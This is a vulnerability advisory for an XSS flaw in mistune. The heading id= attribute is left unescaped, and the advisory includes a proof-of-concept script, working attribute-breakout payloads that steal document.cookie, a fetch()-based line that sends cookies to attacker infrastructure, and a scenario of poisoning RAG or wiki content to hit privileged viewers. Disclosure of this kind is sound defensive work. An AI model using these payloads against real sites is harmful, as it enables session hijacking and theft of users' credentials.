CVE-2026-44897: mistune: XSS via unescaped heading id= attribute

## Summary `HTMLRenderer.heading()` builds the opening `<hN>` tag by string-concatenating the `id` attribute value directly into the HTML — with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element. The default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, …) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like `#installation` or `#getting-started` — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute. ## Details **File:** `src/mistune/renderers/html.py` ```python def heading(self, text: str, level: int, **attrs: Any) -> str: tag = "h" + str(level) html = "<" + tag _id = attrs.get("id") if _id: html += ' id="' + _id + '"' # ← _id is never escaped return html + ">" + text + "</" + tag + ">\n" ``` The `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `&quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned — no escaping occurs at any point in the pipeline. ## PoC **Step 1 — Establish the baseline (safe default IDs)** The script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs: ```python md_safe = create_markdown(escape=True) add_toc_hook(md_safe) # default: heading_id produces toc_1, toc_2, … bl_src = "## Introduction\n" bl_out, _ = md_safe.parse(bl_src) ``` Output — ID is auto-generated, no user text appears in it: ```html <h2 id="toc_1">Introduction</h2> ``` **Step 2 — Add the realistic trigger: a text-based `heading_id` callback** Deriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation: ```python def raw_id(token, index): return token.get("text", "") # returns raw heading text as the ID md_vuln = create_markdown(escape=True) add_toc_hook(md_vuln, heading_id=raw_id) ``` **Step 3 — Craft the exploit payload** Construct a heading whose text contains a double-quote followed by an injected attribute: ``` ## foo" onmouseover="alert(document.cookie)" x=" ``` When `raw_id` is called, `token["text"]` is `foo" onmouseover="alert(document.cookie)" x="`. This is passed verbatim to `heading()` as the `id` attribute value. **Step 4 — Observe attribute breakout in the output** ```python ex_src = '## foo" onmouseover="alert(document.cookie)" x="\n' ex_out, _ = md_vuln.parse(ex_src) ``` Actual output: ```html <h2 id="foo" onmouseover="alert(document.cookie)" x="">foo&quot; onmouseover=&quot;alert(document.cookie)&quot; x=&quot;</h2> ``` Note: the heading **body text** is correctly escaped (`&quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted. ### Script A verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser. ```python #!/usr/bin/env python3 """H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping.""" import os, html as h from mistune import create_markdown from mistune.toc import add_toc_hook def raw_id(token, index): return token.get("text", "") # --- baseline --- md_safe = create_markdown(escape=True) add_toc_hook(md_safe) bl_file = "baseline_h2.md" bl_src = "## Introduction\n" with open(os.path.join(os.getcwd(), bl_file), "w") as f: f.write(bl_src) bl_out, _ = md_safe.parse(bl_src) print(f"[{bl_file}]\n{bl_src}") print("[output — id=toc_1, no user content, safe]") print(bl_out) # --- exploit --- md_vuln = create_markdown(escape=True) add_toc_hook(md_vuln, heading_id=raw_id) ex_file = "exploit_h2.md" ex_src = '## foo" onmouseover="alert(document.cookie)" x="\n' with open(os.path.join(os.getcwd(), ex_file), "w") as f: f.write(ex_src) ex_out, _ = md_vuln.parse(ex_src) print(f"[{ex_file}]\n{ex_src}") print("[output — heading_id returns raw text, id= not escaped]") print(ex_out) # --- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em} """ def case(kind, label, filename, src, out): return f""" <div class="case {kind}"> <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>Output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ rendered in browser (hover the heading to trigger onmouseover)</div> <div class="rendered">{out}</div> </div> </div> </div>""" page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H2 — Heading ID XSS</title><style>{CSS}</style></head><body> <h1>H2 — Heading ID XSS (unescaped id= attribute)</h1> <p class="desc">HTMLRenderer.heading() in renderers/html.py does html += ' id="' + _id + '"' with no escaping. Triggered when heading_id callback returns raw heading text — the most common doc-generator pattern.</p> {case("baseline", "Clean heading → sequential id=toc_1, safe", bl_file, bl_src, bl_out)} {case("exploit", "Malicious heading → quotes break out of id=, onmouseover injected", ex_file, ex_src, ex_out)} </body></html>""" out_path = os.path.join(os.getcwd(), "report_h2.html") with open(out_path, "w") as f: f.write(page) print(f"\n[report] {out_path}") ``` Example Usage: ```bash python poc.py ``` Once the script is run, open `report_h2.html` in the browser and observe the behaviour. ## Impact | Dimension | Assessment | |------------------|-----------| | **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction | | **Integrity** | DOM manipulation, phishing content injection, forced navigation | | **Availability** | Page freeze or crash available to attacker | **Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune's `heading_id` callback without independently sanitising the returned value.

An adversary targeting an AI documentation platform or knowledge base powered by mistune crafts a Markdown document with the heading: '## Getting Started" onmouseover="fetch(atob(base64_encoded_exfil_url)+document.cookie)" x="'. The document is submitted to a wiki, uploaded as a model card, or injected into a RAG document store. When a privileged user — an admin, auditor, or CISO reviewing a compliance report — views the rendered page and moves their cursor over the heading, the injected event handler fires silently, exfiltrating their session token to attacker-controlled infrastructure. In a RAG pipeline context, a poisoned retrieval document could deliver the same payload against a security analyst's browser session when AI-summarized results are displayed.